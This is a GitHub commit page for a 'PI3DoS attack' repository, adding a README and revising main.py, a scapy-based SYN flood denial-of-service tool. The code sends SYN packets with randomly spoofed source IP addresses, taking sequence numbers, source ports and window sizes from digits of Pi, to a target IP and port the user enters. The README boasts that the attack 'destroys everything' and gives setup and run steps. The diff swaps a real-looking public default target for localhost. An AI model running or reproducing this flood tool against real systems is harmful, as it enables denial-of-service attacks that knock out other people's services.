Skip to content

Commit

Permalink
add readme
Browse files Browse the repository at this point in the history
  • Loading branch information
artemgurzhii committed Sep 30, 2019
1 parent 1ee1b4e commit d707d9c
Show file tree
Hide file tree
Showing 5 changed files with 117 additions and 32 deletions.
1 change: 1 addition & 0 deletions PI.txt

Large diffs are not rendered by default.

12 changes: 12 additions & 0 deletions Pipfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
[[source]]
name = "pypi"
url = "https://pypi.org/simple"
verify_ssl = true

[dev-packages]

[packages]
scapy = "*"

[requires]
python_version = "3.7"
29 changes: 29 additions & 0 deletions Pipfile.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

34 changes: 30 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,9 +1,35 @@
# PI3Dos attack
# PI3DoS attack

## Description

This attack destroys everything on it's way.

PI3Dos attack stands for
- **PI** -
PI3DoS attack stands for
- **PI** - TCP packet configuration is based on the first 100_000 numbers of the [Pi](https://en.wikipedia.org/wiki/Pi)
- **3** - TCP's 3-way handshake
- **Dos** - Denial Of Service
- **DoS** - Denial Of Service

This DoS attack is an implementation of the **SYN Flood Attack**.
Here is a diagram of how it works ![syn flood diagram](https://www.cloudflare.com/img/learning/ddos/syn-flood-ddos-attack/syn-flood-attack-ddos-attack-diagram-2.png)
For more info visit [syn flood ddos attack](https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/)
First 100_000 numbers of the PI are received from the [PI.txt file](https://github.com/artemgurzhii/Pi3DOS-attack/blob/master/PI.txt)

## Prerequisites

You will need the following things properly installed on your computer.

* [Git](https://git-scm.com/)
* [Python](https://www.python.org/)
* [Pipenv](https://github.com/pypa/pipenv#installation)

## Installation

* `git clone https://github.com/artemgurzhii/Pi3DOS-attack` this repository
* `cd Pi3DOS-attack`
* `pipenv install`
* `sudo python3 main.py`

## Acknowledgments

[Artiikk](https://github.com/Artiikk)
[sawezx](https://github.com/sawezx)
73 changes: 45 additions & 28 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,12 +1,41 @@
import os
import sys
from random import *
from os import system
from sys import stdout
from random import choice
from random import getrandbits
from ipaddress import IPv4Address
from scapy.all import *
from scapy.all import IP, TCP, send

DEFAULT_IP = "45.77.143.9"
DEFAULT_IP = "127.0.0.1"
DEFAULT_PORT = 80
DEFAULT_PACKETS_AMOUT = 10
FILE_SIZE = 100_000

class Memoize:
def __init__(self, fn):
self.fn = fn
self.memo = {}

def __call__(self, *args):
if args not in self.memo:
self.memo[args] = self.fn(*args)

return self.memo[args]

@Memoize
def readFile(path):
file = open(path, "r")

skipSize = choice(range(0, FILE_SIZE))

file.read(skipSize)

return file

def getRand():
text = readFile("PI.txt")
size = choice(range(3, 6))

return int(text.read(size))

def randomIP():
bits = getrandbits(32) # generates an integer with 32 random bits
Expand All @@ -22,51 +51,39 @@ def configureIP(ip):
return IP_Packet

def configureTCPPacket(port):
s_port = randint(1000, 9000)
s_eq = randint(1000, 9000)
w_indow = randint(1000, 9000)

TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = port
TCP_Packet.flags = "S"
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
TCP_Packet.flags = "S" # SYN
TCP_Packet.seq = getRand()
TCP_Packet.sport = getRand()
TCP_Packet.window = getRand()

return TCP_Packet

def SYN_Flood(IP_Packet, TCP_Packet, counter):
def SYNFlood(IP_Packet, TCP_Packet, counter):
print("Packets are sending ...")

for x in range(0, counter):
send(IP_Packet / TCP_Packet, verbose=False)

sys.stdout.write("\nTotal packets sent: %i\n" % counter)


def info():
print("#############################")
print("# github.com/artemgurzhii #")
print("#############################")
print("# Welcome to SYN Flood Tool #")
print("#############################")
stdout.write("\nTotal packets sent: %i\n" % counter)

def params():
destIP = input("Target IP : ") or DEFAULT_IP
destPort = input("Target Port : ") or DEFAULT_PORT
counter = input("How many packets do you want to send : ") or DEFAULT_PACKETS_AMOUT
destIP = input("Target IP (default: %s): " % DEFAULT_IP) or DEFAULT_IP
destPort = input("Target Port (default: %s): " % DEFAULT_PORT) or DEFAULT_PORT
counter = input("How many packets do you want to send (default %s): " % DEFAULT_PACKETS_AMOUT) or DEFAULT_PACKETS_AMOUT

return destIP, int(destPort), int(counter)


def main():
info()
system('clear')

destIP, destPort, counter = params()

ip = configureIP(destIP)
tcp = configureTCPPacket(destPort)

SYN_Flood(ip, tcp, counter)
SYNFlood(ip, tcp, counter)

main()

0 comments on commit d707d9c

Please sign in to comment.